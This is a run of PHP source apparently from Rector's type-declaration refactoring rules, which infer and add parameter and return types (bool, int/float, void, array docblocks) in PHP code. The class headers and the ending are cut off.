($hasChanged) { return $node; } return null; } /** * @param \PHPStan\PhpDocParser\Ast\PhpDoc\PhpDocTagNode|\PhpParser\Node\Attribute $dataProviderNode */ private function inferParam(Class_ $class, int $parameterPosition, $dataProviderNode) : Type { $dataProviderClassMethod = $this->resolveDataProviderClassMethod($class, $dataProviderNode); if (!$dataProviderClassMethod instanceof ClassMethod) { return new MixedType(); } $returns = $this->betterNodeFinder->findReturnsScoped($dataProviderClassMethod); if ($returns !== []) { return $this->resolveReturnStaticArrayTypeByParameterPosition($returns, $parameterPosition); } /** @var Yield_[] $yields */ $yields = $this->betterNodeFinder->findInstancesOfInFunctionLikeScoped($dataProviderClassMethod, Yield_::class); return $this->resolveYieldStaticArrayTypeByParameterPosition($yields, $parameterPosition); } /** * @param \PhpParser\Node\Attribute|\PHPStan\PhpDocParser\Ast\PhpDoc\PhpDocTagNode $dataProviderNode */ private function resolveDataProviderClassMethod(Class_ $class, $dataProviderNode) : ?ClassMethod { if ($dataProviderNode instanceof Attribute) { $value = $dataProviderNode->args[0]->value; if (!$value instanceof String_) { return null; } $content = $value->value; } elseif ($dataProviderNode->value instanceof GenericTagValueNode) { $content = $dataProviderNode->value->value; } else { return null; } $match = Strings::match($content, self::METHOD_NAME_REGEX); if ($match === null) { return null; } $methodName = $match['method_name']; return $class->getMethod($methodName); } /** * @param Return_[] $returns */ private function resolveReturnStaticArrayTypeByParameterPosition(array $returns, int $parameterPosition) : Type { $firstReturnedExpr = $returns[0]->expr; if (!$firstReturnedExpr instanceof Array_) { return new MixedType(); } $paramOnPositionTypes = $this->resolveParamOnPositionTypes($firstReturnedExpr, $parameterPosition); if ($paramOnPositionTypes === []) { return new MixedType(); } return $this->typeFactory->createMixedPassedOrUnionType($paramOnPositionTypes); } /** * @param Yield_[] $yields */ private function resolveYieldStaticArrayTypeByParameterPosition(array $yields, int $parameterPosition) : Type { $paramOnPositionTypes = []; foreach ($yields as $yield) { if (!$yield->value instanceof Array_) { continue; } $type = $this->getTypeFromClassMethodYield($yield->value); if (!$type instanceof ConstantArrayType) { return $type; } foreach ($type->getValueTypes() as $position => $valueType) { if ($position !== $parameterPosition) { continue; } $paramOnPositionTypes[] = $valueType; } } if ($paramOnPositionTypes === []) { return new MixedType(); } return $this->typeFactory->createMixedPassedOrUnionType($paramOnPositionTypes); } /** * @return \PHPStan\Type\MixedType|\PHPStan\Type\Constant\ConstantArrayType */ private function getTypeFromClassMethodYield(Array_ $classMethodYieldArray) { $arrayType = $this->nodeTypeResolver->getType($classMethodYieldArray); // impossible to resolve if (!$arrayType instanceof ConstantArrayType) { return new MixedType(); } return $arrayType; } /** * @return Type[] */ private function resolveParamOnPositionTypes(Array_ $array, int $parameterPosition) : array { $paramOnPositionTypes = []; foreach ($array->items as $singleDataProvidedSet) { if (!$singleDataProvidedSet instanceof ArrayItem || !$singleDataProvidedSet->value instanceof Array_) { throw new ShouldNotHappenException(); } foreach ($singleDataProvidedSet->value->items as $position => $singleDataProvidedSetItem) { if ($position !== $parameterPosition) { continue; } if (!$singleDataProvidedSetItem instanceof ArrayItem) { continue; } $paramOnPositionTypes[] = $this->nodeTypeResolver->getType($singleDataProvidedSetItem->value); } } return $paramOnPositionTypes; } private function resolveDataProviderNodes(ClassMethod $classMethod) : DataProviderNodes { $attributes = $this->getPhpDataProviderAttributes($classMethod); $classMethodPhpDocInfo = $this->phpDocInfoFactory->createFromNode($classMethod); $phpdocNodes = $classMethodPhpDocInfo instanceof PhpDocInfo ? $classMethodPhpDocInfo->getTagsByName('@dataProvider') : []; return new DataProviderNodes(\array_merge($attributes, $phpdocNodes)); } /** * @return array */ private function getPhpDataProviderAttributes(ClassMethod $classMethod) : array { $attributeName = 'PHPUnit\\Framework\\Attributes\\DataProvider'; /** @var AttributeGroup[] $attrGroups */ $attrGroups = $classMethod->attrGroups; $dataProviders = []; foreach ($attrGroups as $attrGroup) { foreach ($attrGroup->attrs as $attribute) { if (!$this->nodeNameResolver->isName($attribute->name, $attributeName)) { continue; } $dataProviders[] = $attribute; } } return $dataProviders; } /** * @param array $dataProviderNodes */ private function refactorClassMethod(ClassMethod $classMethod, Class_ $class, array $dataProviderNodes) : bool { $hasChanged = \false; foreach ($classMethod->getParams() as $parameterPosition => $param) { if ($param->type instanceof Node) { continue; } if ($param->variadic) { continue; } $paramTypes = []; foreach ($dataProviderNodes as $dataProviderNode) { $paramTypes[] = $this->inferParam($class, $parameterPosition, $dataProviderNode); } $paramTypeDeclaration = TypeCombinator::union(...$paramTypes); if ($paramTypeDeclaration instanceof MixedType) { continue; } $param->type = $this->staticTypeMapper->mapPHPStanTypeToPhpParserNode($paramTypeDeclaration, TypeKind::PARAM); $hasChanged = \true; } return $hasChanged; } } typeComparator = $typeComparator; $this->phpVersionProvider = $phpVersionProvider; $this->staticTypeMapper = $staticTypeMapper; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Add param types where needed', [new ConfiguredCodeSample(<<<'CODE_SAMPLE' class SomeClass { public function process($name) { } } CODE_SAMPLE , <<<'CODE_SAMPLE' class SomeClass { public function process(string $name) { } } CODE_SAMPLE , [new AddParamTypeDeclaration('SomeClass', 'process', 0, new StringType())])]); } /** * @return array> */ public function getNodeTypes() : array { return [Class_::class, Interface_::class]; } /** * @param Class_|Interface_ $node */ public function refactor(Node $node) : ?Node { $this->hasChanged = \false; foreach ($node->getMethods() as $classMethod) { if ($this->shouldSkip($node, $classMethod)) { continue; } $methodName = $this->getName($classMethod); foreach ($this->addParamTypeDeclarations as $addParamTypeDeclaration) { if (!$this->nodeNameResolver->isStringName($methodName, $addParamTypeDeclaration->getMethodName())) { continue; } if (!$this->isObjectType($node, $addParamTypeDeclaration->getObjectType())) { continue; } $this->refactorClassMethodWithTypehintByParameterPosition($classMethod, $addParamTypeDeclaration); } } if (!$this->hasChanged) { return null; } return $node; } /** * @param mixed[] $configuration */ public function configure(array $configuration) : void { Assert::allIsAOf($configuration, AddParamTypeDeclaration::class); $this->addParamTypeDeclarations = $configuration; } /** * @param \PhpParser\Node\Stmt\Class_|\PhpParser\Node\Stmt\Interface_ $classLike */ private function shouldSkip($classLike, ClassMethod $classMethod) : bool { // skip class methods without args if ($classMethod->params === []) { return \true; } // skip class without parents/interfaces if ($classLike instanceof Class_ && $classLike->implements !== []) { return \false; } return !$classLike->extends instanceof Name; } private function refactorClassMethodWithTypehintByParameterPosition(ClassMethod $classMethod, AddParamTypeDeclaration $addParamTypeDeclaration) : void { $parameter = $classMethod->params[$addParamTypeDeclaration->getPosition()] ?? null; if (!$parameter instanceof Param) { return; } $this->refactorParameter($parameter, $addParamTypeDeclaration); } private function refactorParameter(Param $param, AddParamTypeDeclaration $addParamTypeDeclaration) : void { // already set → no change if ($param->type !== null) { $currentParamType = $this->staticTypeMapper->mapPhpParserNodePHPStanType($param->type); if ($this->typeComparator->areTypesEqual($currentParamType, $addParamTypeDeclaration->getParamType())) { return; } } $paramTypeNode = $this->staticTypeMapper->mapPHPStanTypeToPhpParserNode($addParamTypeDeclaration->getParamType(), TypeKind::PARAM); $this->hasChanged = \true; // remove it if ($addParamTypeDeclaration->getParamType() instanceof MixedType) { if ($this->phpVersionProvider->isAtLeastPhpVersion(PhpVersionFeature::MIXED_TYPE)) { $param->type = $paramTypeNode; return; } $param->type = null; return; } $param->type = $paramTypeNode; } } propertyFetchAnalyzer = $propertyFetchAnalyzer; $this->simpleCallableNodeTraverser = $simpleCallableNodeTraverser; $this->typeFactory = $typeFactory; $this->parentClassMethodTypeOverrideGuard = $parentClassMethodTypeOverrideGuard; $this->paramTypeAddGuard = $paramTypeAddGuard; $this->staticTypeMapper = $staticTypeMapper; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition(self::ERROR_MESSAGE, [new CodeSample(<<<'CODE_SAMPLE' final class SomeClass { private string $name; public function setName($name) { $this->name = $name; } } CODE_SAMPLE , <<<'CODE_SAMPLE' final class SomeClass { private string $name; public function setName(string $name) { $this->name = $name; } } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [ClassMethod::class]; } /** * @param ClassMethod $node */ public function refactor(Node $node) : ?ClassMethod { $hasChanged = \false; foreach ($node->params as $param) { // already known type → skip if ($param->type instanceof Node) { continue; } if ($param->variadic) { continue; } if (!$this->paramTypeAddGuard->isLegal($param, $node)) { continue; } $paramName = $this->getName($param); $propertyStaticTypes = $this->resolvePropertyStaticTypesByParamName($node, $paramName); $possibleParamType = $this->typeFactory->createMixedPassedOrUnionType($propertyStaticTypes); $paramType = $this->staticTypeMapper->mapPHPStanTypeToPhpParserNode($possibleParamType, TypeKind::PARAM); if (!$paramType instanceof Node) { continue; } if ($this->parentClassMethodTypeOverrideGuard->hasParentClassMethod($node)) { return null; } $param->type = $paramType; $hasChanged = \true; } if ($hasChanged) { return $node; } return null; } public function provideMinPhpVersion() : int { return PhpVersionFeature::TYPED_PROPERTIES; } /** * @return Type[] */ private function resolvePropertyStaticTypesByParamName(ClassMethod $classMethod, string $paramName) : array { $propertyStaticTypes = []; $this->simpleCallableNodeTraverser->traverseNodesWithCallable($classMethod, function (Node $node) use($paramName, &$propertyStaticTypes) : ?int { if ($node instanceof Class_ || $node instanceof Function_) { // skip anonymous classes and inner function return NodeTraverser::DONT_TRAVERSE_CURRENT_AND_CHILDREN; } if (!$node instanceof Assign) { return null; } if (!$this->propertyFetchAnalyzer->isVariableAssignToThisPropertyFetch($node, $paramName)) { return null; } $exprType = $this->nodeTypeResolver->getNativeType($node->expr); $nodeExprType = $this->staticTypeMapper->mapPHPStanTypeToPhpParserNode($exprType, TypeKind::PARAM); $varType = $this->nodeTypeResolver->getNativeType($node->var); $nodeVarType = $this->staticTypeMapper->mapPHPStanTypeToPhpParserNode($varType, TypeKind::PROPERTY); if ($nodeExprType instanceof Node && !$this->nodeComparator->areNodesEqual($nodeExprType, $nodeVarType)) { return null; } $propertyStaticTypes[] = $varType; return null; }); return $propertyStaticTypes; } } betterNodeFinder = $betterNodeFinder; $this->returnAnalyzer = $returnAnalyzer; $this->staticTypeMapper = $staticTypeMapper; $this->typeFactory = $typeFactory; $this->phpDocTypeChanger = $phpDocTypeChanger; $this->phpDocInfoFactory = $phpDocInfoFactory; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Add @return array docblock based on array_map() return strict type', [new CodeSample(<<<'CODE_SAMPLE' class SomeClass { public function getItems(array $items) { return array_map(function ($item): int { return $item->id; }, $items); } } CODE_SAMPLE , <<<'CODE_SAMPLE' class SomeClass { /** * @return int[] */ public function getItems(array $items) { return array_map(function ($item): int { return $item->id; }, $items); } } CODE_SAMPLE )]); } public function getNodeTypes() : array { return [ClassMethod::class, Function_::class]; } /** * @param ClassMethod|Function_ $node * @return null|\PhpParser\Node\Stmt\Function_|\PhpParser\Node\Stmt\ClassMethod */ public function refactor(Node $node) { $returnsScoped = $this->betterNodeFinder->findReturnsScoped($node); if ($this->hasNonArrayReturnType($node)) { return null; } // nothing to return? skip it if ($returnsScoped === []) { return null; } // only returns with expr and no void if (!$this->returnAnalyzer->hasOnlyReturnWithExpr($node, $returnsScoped)) { return null; } $closureReturnTypes = []; foreach ($returnsScoped as $returnScoped) { if (!$returnScoped->expr instanceof FuncCall) { return null; } $arrayMapClosure = $this->matchArrayMapClosure($returnScoped->expr); if (!$arrayMapClosure instanceof FunctionLike) { return null; } if (!$arrayMapClosure->returnType instanceof Node) { return null; } $closureReturnTypes[] = $this->staticTypeMapper->mapPhpParserNodePHPStanType($arrayMapClosure->returnType); } $returnType = $this->typeFactory->createMixedPassedOrUnionType($closureReturnTypes); $arrayType = new ArrayType(new MixedType(), $returnType); $functionLikePhpDocInfo = $this->phpDocInfoFactory->createFromNodeOrEmpty($node); $hasChanged = $this->phpDocTypeChanger->changeReturnType($node, $functionLikePhpDocInfo, $arrayType); if ($hasChanged) { return null; } return $node; } /** * @param \PhpParser\Node\Stmt\ClassMethod|\PhpParser\Node\Stmt\Function_ $functionLike */ private function hasNonArrayReturnType($functionLike) : bool { if (!$functionLike->returnType instanceof Identifier) { return \false; } return $functionLike->returnType->toLowerString() !== 'array'; } /** * @return \PhpParser\Node\Expr\Closure|\PhpParser\Node\Expr\ArrowFunction|null */ private function matchArrayMapClosure(FuncCall $funcCall) { if (!$this->isName($funcCall, 'array_map')) { return null; } if ($funcCall->isFirstClassCallable()) { return null; } // lets infer strict array_map() type $firstArg = $funcCall->getArgs()[0]; if (!$firstArg->value instanceof Closure && !$firstArg->value instanceof ArrowFunction) { return null; } return $firstArg->value; } } parentClassMethodTypeOverrideGuard = $parentClassMethodTypeOverrideGuard; $this->phpVersionProvider = $phpVersionProvider; $this->staticTypeMapper = $staticTypeMapper; } public function provideMinPhpVersion() : int { return PhpVersionFeature::SCALAR_TYPES; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Add missing return type declaration based on parent class method', [new CodeSample(<<<'CODE_SAMPLE' class A { public function execute(): int { } } class B extends A{ public function execute() { } } CODE_SAMPLE , <<<'CODE_SAMPLE' class A { public function execute(): int { } } class B extends A{ public function execute(): int { } } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [Class_::class]; } /** * @param Class_ $node */ public function refactor(Node $node) : ?Node { $hasChanged = \false; foreach ($node->getMethods() as $classMethod) { if ($this->isName($classMethod, MethodName::CONSTRUCT)) { continue; } $parentClassMethodReturnType = $this->getReturnTypeRecursive($classMethod); if (!$parentClassMethodReturnType instanceof Type) { continue; } $changedClassMethod = $this->processClassMethodReturnType($node, $classMethod, $parentClassMethodReturnType); if (!$changedClassMethod instanceof ClassMethod) { continue; } $hasChanged = \true; } if ($hasChanged) { return $node; } return null; } private function getReturnTypeRecursive(ClassMethod $classMethod) : ?Type { $returnType = $classMethod->getReturnType(); if ($returnType instanceof Node) { return $this->staticTypeMapper->mapPhpParserNodePHPStanType($returnType); } $parentMethodReflection = $this->parentClassMethodTypeOverrideGuard->getParentClassMethod($classMethod); while ($parentMethodReflection instanceof MethodReflection) { if ($parentMethodReflection->isPrivate()) { return null; } $parameterAcceptor = ParametersAcceptorSelector::combineAcceptors($parentMethodReflection->getVariants()); $parentReturnType = $parameterAcceptor->getNativeReturnType(); if (!$parentReturnType instanceof MixedType) { return $parentReturnType; } if ($parentReturnType->isExplicitMixed()) { return $parentReturnType; } $parentMethodReflection = $this->parentClassMethodTypeOverrideGuard->getParentClassMethod($parentMethodReflection); } return null; } private function processClassMethodReturnType(Class_ $class, ClassMethod $classMethod, Type $parentType) : ?ClassMethod { if ($parentType instanceof MixedType) { $className = (string) $this->nodeNameResolver->getName($class); $currentObjectType = new ObjectType($className); if (!$parentType->equals($currentObjectType) && $classMethod->returnType instanceof Node) { return null; } } if ($parentType instanceof MixedType && !$this->phpVersionProvider->isAtLeastPhpVersion(PhpVersionFeature::MIXED_TYPE)) { return null; } // already set and sub type or equal → no change if ($this->parentClassMethodTypeOverrideGuard->shouldSkipReturnTypeChange($classMethod, $parentType)) { return null; } $classMethod->returnType = $this->staticTypeMapper->mapPHPStanTypeToPhpParserNode($parentType, TypeKind::RETURN); return $classMethod; } } phpVersionProvider = $phpVersionProvider; $this->parentClassMethodTypeOverrideGuard = $parentClassMethodTypeOverrideGuard; $this->staticTypeMapper = $staticTypeMapper; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Changes defined return typehint of method and class.', [new ConfiguredCodeSample(<<<'CODE_SAMPLE' class SomeClass { public function getData() { } } CODE_SAMPLE , <<<'CODE_SAMPLE' class SomeClass { public function getData(): array { } } CODE_SAMPLE , [new AddReturnTypeDeclaration('SomeClass', 'getData', new ArrayType(new MixedType(), new MixedType()))])]); } /** * @return array> */ public function getNodeTypes() : array { return [Class_::class]; } /** * @param Class_ $node */ public function refactor(Node $node) : ?Node { $this->hasChanged = \false; foreach ($this->methodReturnTypes as $methodReturnType) { $objectType = $methodReturnType->getObjectType(); if (!$this->isObjectType($node, $objectType)) { continue; } foreach ($node->getMethods() as $classMethod) { if (!$this->isName($classMethod, $methodReturnType->getMethod())) { continue; } $this->processClassMethodNodeWithTypehints($classMethod, $node, $methodReturnType->getReturnType(), $objectType); } } if (!$this->hasChanged) { return null; } return $node; } /** * @param mixed[] $configuration */ public function configure(array $configuration) : void { Assert::allIsAOf($configuration, AddReturnTypeDeclaration::class); $this->methodReturnTypes = $configuration; } private function processClassMethodNodeWithTypehints(ClassMethod $classMethod, Class_ $class, Type $newType, ObjectType $objectType) : void { if ($newType instanceof MixedType) { $className = (string) $this->nodeNameResolver->getName($class); $currentObjectType = new ObjectType($className); if (!$objectType->equals($currentObjectType) && $classMethod->returnType instanceof Node) { return; } } // remove it if ($newType instanceof MixedType && !$this->phpVersionProvider->isAtLeastPhpVersion(PhpVersionFeature::MIXED_TYPE)) { $classMethod->returnType = null; return; } // already set and sub type or equal → no change if ($this->parentClassMethodTypeOverrideGuard->shouldSkipReturnTypeChange($classMethod, $newType)) { return; } $classMethod->returnType = $this->staticTypeMapper->mapPHPStanTypeToPhpParserNode($newType, TypeKind::RETURN); $this->hasChanged = \true; } } phpDocInfoFactory = $phpDocInfoFactory; $this->phpDocTypeChanger = $phpDocTypeChanger; $this->docBlockUpdater = $docBlockUpdater; $this->staticTypeMapper = $staticTypeMapper; $this->phpDocTagRemover = $phpDocTagRemover; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Add param and return types on resource docblock', [new ConfiguredCodeSample(<<<'CODE_SAMPLE' class SomeClass { /** * @param resource|null $resource */ public function setResource($resource) { } /** * @return resource|null */ public function getResource() { } } CODE_SAMPLE , <<<'CODE_SAMPLE' class SomeClass { public function setResource(?App\ValueObject\Resource $resource) { } public function getResource(): ?App\ValueObject\Resource { } } CODE_SAMPLE , ['App\\ValueObject\\Resource'])]); } /** * @return array> */ public function getNodeTypes() : array { return [ClassMethod::class]; } public function provideMinPhpVersion() : int { return PhpVersionFeature::NULLABLE_TYPE; } /** * @param ClassMethod $node */ public function refactor(Node $node) : ?Node { $hasChanged = \false; $phpdocInfo = $this->phpDocInfoFactory->createFromNode($node); if (!$phpdocInfo instanceof PhpDocInfo) { return null; } // for return type if (!$node->returnType instanceof Node) { $returnType = $phpdocInfo->getReturnType(); $newType = $this->resolveNewType($returnType); if ($newType instanceof Type) { $returnTagValueNode = $phpdocInfo->getReturnTagValue(); if ($returnTagValueNode instanceof ReturnTagValueNode) { if ($returnTagValueNode->description !== '') { $this->phpDocTypeChanger->changeReturnType($node, $phpdocInfo, $newType); } else { $phpdocInfo->removeByType(ReturnTagValueNode::class); $this->docBlockUpdater->updateRefactoredNodeWithPhpDocInfo($node); } $node->returnType = $this->staticTypeMapper->mapPHPStanTypeToPhpParserNode($newType, TypeKind::RETURN); $hasChanged = \true; } } } // for param type foreach ($node->params as $param) { if ($param->type instanceof Node) { continue; } $paramName = $this->getName($param); $paramType = $phpdocInfo->getParamType($this->getName($param)); $newType = $this->resolveNewType($paramType); if ($newType instanceof Type) { $paramTagValueByName = $phpdocInfo->getParamTagValueByName($paramName); if (!$paramTagValueByName instanceof ParamTagValueNode) { continue; } if ($paramTagValueByName->description !== '') { $this->phpDocTypeChanger->changeParamType($node, $phpdocInfo, $newType, $param, $paramName); } else { $this->phpDocTagRemover->removeTagValueFromNode($phpdocInfo, $paramTagValueByName); $this->docBlockUpdater->updateRefactoredNodeWithPhpDocInfo($node); } $param->type = $this->staticTypeMapper->mapPHPStanTypeToPhpParserNode($newType, TypeKind::RETURN); $hasChanged = \true; } } if ($hasChanged) { return $node; } return null; } /** * @param mixed[] $configuration */ public function configure(array $configuration) : void { Assert::stringNotEmpty(\current($configuration)); $this->newTypeFromResourceDoc = \current($configuration); } private function resolveNewType(Type $type) : ?Type { $newType = null; if ($type instanceof UnionType) { $types = $type->getTypes(); foreach ($types as $key => $type) { if ($type instanceof ResourceType) { $types[$key] = new ObjectType($this->newTypeFromResourceDoc); $newType = new UnionType($types); break; } } } elseif ($type instanceof ResourceType) { $newType = new ObjectType($this->newTypeFromResourceDoc); } return $newType; } } silentVoidResolver = $silentVoidResolver; $this->classMethodReturnVendorLockResolver = $classMethodReturnVendorLockResolver; $this->classModifierChecker = $classModifierChecker; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Add return type void to function like without any return', [new CodeSample(<<<'CODE_SAMPLE' final class SomeClass { public function getValues() { $value = 1000; return; } } CODE_SAMPLE , <<<'CODE_SAMPLE' final class SomeClass { public function getValues(): void { $value = 1000; return; } } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [ClassMethod::class]; } /** * @param ClassMethod $node */ public function refactor(Node $node) : ?Node { // already has return type → skip if ($node->returnType instanceof Node) { return null; } if ($this->shouldSkipClassMethod($node)) { return null; } if (!$this->silentVoidResolver->hasExclusiveVoid($node)) { return null; } if ($this->classMethodReturnVendorLockResolver->isVendorLocked($node)) { return null; } $node->returnType = new Identifier('void'); return $node; } public function provideMinPhpVersion() : int { return PhpVersionFeature::VOID_TYPE; } private function shouldSkipClassMethod(ClassMethod $classMethod) : bool { if ($classMethod->isAbstract()) { return \true; } // is not final and has only exception? possibly implemented by child if ($this->isNotFinalAndHasExceptionOnly($classMethod)) { return \true; } // possibly required by child implementation if ($this->isNotFinalAndEmpty($classMethod)) { return \true; } if ($classMethod->isProtected()) { return !$this->classModifierChecker->isInsideFinalClass($classMethod); } return $this->classModifierChecker->isInsideAbstractClass($classMethod) && $classMethod->getStmts() === []; } private function isNotFinalAndHasExceptionOnly(ClassMethod $classMethod) : bool { if ($this->classModifierChecker->isInsideFinalClass($classMethod)) { return \false; } if (\count((array) $classMethod->stmts) !== 1) { return \false; } $onlyStmt = $classMethod->stmts[0] ?? null; return $onlyStmt instanceof Throw_; } private function isNotFinalAndEmpty(ClassMethod $classMethod) : bool { if ($this->classModifierChecker->isInsideFinalClass($classMethod)) { return \false; } return $classMethod->stmts === []; } } valueResolver = $valueResolver; $this->betterNodeFinder = $betterNodeFinder; $this->classMethodReturnTypeOverrideGuard = $classMethodReturnTypeOverrideGuard; $this->returnAnalyzer = $returnAnalyzer; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Add return bool, based on direct true/false returns', [new CodeSample(<<<'CODE_SAMPLE' class SomeClass { public function resolve($value) { if ($value) { return false; } return true; } } CODE_SAMPLE , <<<'CODE_SAMPLE' class SomeClass { public function resolve($value): bool { if ($value) { return false; } return true; } } CODE_SAMPLE )]); } /** * @funcCall array> */ public function getNodeTypes() : array { return [ClassMethod::class, Function_::class]; } /** * @param ClassMethod|Function_ $node */ public function refactorWithScope(Node $node, Scope $scope) : ?Node { if ($this->shouldSkip($node, $scope)) { return null; } $returns = $this->betterNodeFinder->findReturnsScoped($node); if (!$this->returnAnalyzer->hasOnlyReturnWithExpr($node, $returns)) { return null; } if (!$this->hasOnlyBooleanConstExprs($returns)) { return null; } $node->returnType = new Identifier('bool'); return $node; } public function provideMinPhpVersion() : int { return PhpVersionFeature::SCALAR_TYPES; } /** * @param ClassMethod|Function_|Closure $node */ private function shouldSkip(Node $node, Scope $scope) : bool { // already has the type, skip if ($node->returnType instanceof Node) { return \true; } return $node instanceof ClassMethod && $this->classMethodReturnTypeOverrideGuard->shouldSkipClassMethod($node, $scope); } /** * @param Return_[] $returns */ private function hasOnlyBooleanConstExprs(array $returns) : bool { foreach ($returns as $return) { if (!$return->expr instanceof ConstFetch) { return \false; } if (!$this->valueResolver->isTrueOrFalse($return->expr)) { return \false; } } return \true; } } reflectionProvider = $reflectionProvider; $this->valueResolver = $valueResolver; $this->betterNodeFinder = $betterNodeFinder; $this->classMethodReturnTypeOverrideGuard = $classMethodReturnTypeOverrideGuard; $this->returnAnalyzer = $returnAnalyzer; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Add bool return type based on strict bool returns type operations', [new CodeSample(<<<'CODE_SAMPLE' class SomeClass { public function resolve($first, $second) { return $first > $second; } } CODE_SAMPLE , <<<'CODE_SAMPLE' class SomeClass { public function resolve($first, $second): bool { return $first > $second; } } CODE_SAMPLE )]); } /** * @funcCall array> */ public function getNodeTypes() : array { return [ClassMethod::class, Function_::class]; } /** * @param ClassMethod|Function_ $node */ public function refactorWithScope(Node $node, Scope $scope) : ?Node { if ($this->shouldSkip($node, $scope)) { return null; } $returns = $this->betterNodeFinder->findReturnsScoped($node); if (!$this->returnAnalyzer->hasOnlyReturnWithExpr($node, $returns)) { return null; } // handled in another rule if ($this->hasOnlyBooleanConstExprs($returns)) { return null; } // handled in another rule if (!$this->hasOnlyBoolScalarReturnExprs($returns)) { return null; } $node->returnType = new Identifier('bool'); return $node; } public function provideMinPhpVersion() : int { return PhpVersionFeature::SCALAR_TYPES; } /** * @param ClassMethod|Function_|Closure $node */ private function shouldSkip(Node $node, Scope $scope) : bool { // already has the type, skip if ($node->returnType instanceof Node) { return \true; } return $node instanceof ClassMethod && $this->classMethodReturnTypeOverrideGuard->shouldSkipClassMethod($node, $scope); } /** * @param Return_[] $returns */ private function hasOnlyBoolScalarReturnExprs(array $returns) : bool { foreach ($returns as $return) { if (!$return->expr instanceof Expr) { return \false; } if ($this->isBooleanOp($return->expr)) { continue; } if ($return->expr instanceof FuncCall && $this->isNativeBooleanReturnTypeFuncCall($return->expr)) { continue; } return \false; } return \true; } private function isNativeBooleanReturnTypeFuncCall(FuncCall $funcCall) : bool { $functionName = $this->getName($funcCall); if (!\is_string($functionName)) { return \false; } $name = new Name($functionName); if (!$this->reflectionProvider->hasFunction($name, null)) { return \false; } $functionReflection = $this->reflectionProvider->getFunction($name, null); if (!$functionReflection->isBuiltin()) { return \false; } foreach ($functionReflection->getVariants() as $parametersAcceptorWithPhpDoc) { return $parametersAcceptorWithPhpDoc->getNativeReturnType() instanceof BooleanType; } return \false; } private function isBooleanOp(Expr $expr) : bool { if ($expr instanceof Smaller) { return \true; } if ($expr instanceof SmallerOrEqual) { return \true; } if ($expr instanceof Greater) { return \true; } if ($expr instanceof GreaterOrEqual) { return \true; } if ($expr instanceof BooleanOr) { return \true; } if ($expr instanceof BooleanAnd) { return \true; } if ($expr instanceof Identical) { return \true; } if ($expr instanceof NotIdentical) { return \true; } if ($expr instanceof Equal) { return \true; } if ($expr instanceof NotEqual) { return \true; } if ($expr instanceof Empty_) { return \true; } if ($expr instanceof Isset_) { return \true; } return $expr instanceof BooleanNot; } /** * @param Return_[] $returns */ private function hasOnlyBooleanConstExprs(array $returns) : bool { foreach ($returns as $return) { if (!$return->expr instanceof ConstFetch) { return \false; } if (!$this->valueResolver->isTrueOrFalse($return->expr)) { return \false; } } return \true; } } classMethodReturnTypeOverrideGuard = $classMethodReturnTypeOverrideGuard; $this->betterNodeFinder = $betterNodeFinder; $this->returnAnalyzer = $returnAnalyzer; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Add int/float return type based on strict typed returns', [new CodeSample(<<<'CODE_SAMPLE' class SomeClass { public function increase($value) { return ++$value; } } CODE_SAMPLE , <<<'CODE_SAMPLE' class SomeClass { public function increase($value): int { return ++$value; } } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [ClassMethod::class, Function_::class]; } /** * @param ClassMethod|Function_ $node */ public function refactorWithScope(Node $node, Scope $scope) : ?Node { if ($this->shouldSkip($node, $scope)) { return null; } $returns = $this->betterNodeFinder->findReturnsScoped($node); if (!$this->returnAnalyzer->hasOnlyReturnWithExpr($node, $returns)) { return null; } // handled by another rule if ($this->isAlwaysNumeric($returns)) { return null; } $isAlwaysIntType = \true; $isAlwaysFloatType = \true; foreach ($returns as $return) { if (!$return->expr instanceof Expr) { return null; } $exprType = $this->nodeTypeResolver->getNativeType($return->expr); if (!$exprType->isInteger()->yes()) { $isAlwaysIntType = \false; } if (!$exprType->isFloat()->yes()) { $isAlwaysFloatType = \false; } } if ($isAlwaysFloatType) { $node->returnType = new Identifier('float'); return $node; } if ($isAlwaysIntType) { $node->returnType = new Identifier('int'); return $node; } return null; } public function provideMinPhpVersion() : int { return PhpVersionFeature::SCALAR_TYPES; } /** * @param \PhpParser\Node\Stmt\ClassMethod|\PhpParser\Node\Stmt\Function_ $functionLike */ private function shouldSkip($functionLike, Scope $scope) : bool { // type is already known, skip if ($functionLike->returnType instanceof Node) { return \true; } // empty, nothing to find if ($functionLike->stmts === null || $functionLike->stmts === []) { return \true; } if (!$functionLike instanceof ClassMethod) { return \false; } return $this->classMethodReturnTypeOverrideGuard->shouldSkipClassMethod($functionLike, $scope); } /** * @param Return_[] $returns */ private function isAlwaysNumeric(array $returns) : bool { $isAlwaysFloat = \true; $isAlwaysInt = \true; foreach ($returns as $return) { $epxr = $return->expr; if ($epxr instanceof UnaryMinus) { $epxr = $epxr->expr; } if (!$epxr instanceof DNumber) { $isAlwaysFloat = \false; } if (!$epxr instanceof LNumber) { $isAlwaysInt = \false; } } if ($isAlwaysFloat) { return \true; } return $isAlwaysInt; } } classMethodReturnTypeOverrideGuard = $classMethodReturnTypeOverrideGuard; $this->betterNodeFinder = $betterNodeFinder; $this->returnAnalyzer = $returnAnalyzer; } public function getRuleDefinition() : RuleDefinition { return new RuleDefinition('Add int/float return type based on strict scalar returns type', [new CodeSample(<<<'CODE_SAMPLE' class SomeClass { public function getNumber() { return 200; } } CODE_SAMPLE , <<<'CODE_SAMPLE' class SomeClass { public function getNumber(): int { return 200; } } CODE_SAMPLE )]); } /** * @return array> */ public function getNodeTypes() : array { return [ClassMethod::class, Function_::class]; } /** * @param ClassMethod|Function_ $node */ public function refactorWithScope(Node $node, Scope $scope) : ?Node { if ($this->shouldSkip($node, $scope)) { return null; } $returns = $this->betterNodeFinder->findReturnsScoped($node); if (!$this->returnAnalyzer->hasOnlyReturnWithExpr($node, $returns)) { return null; } $isAlwaysInt = \true; 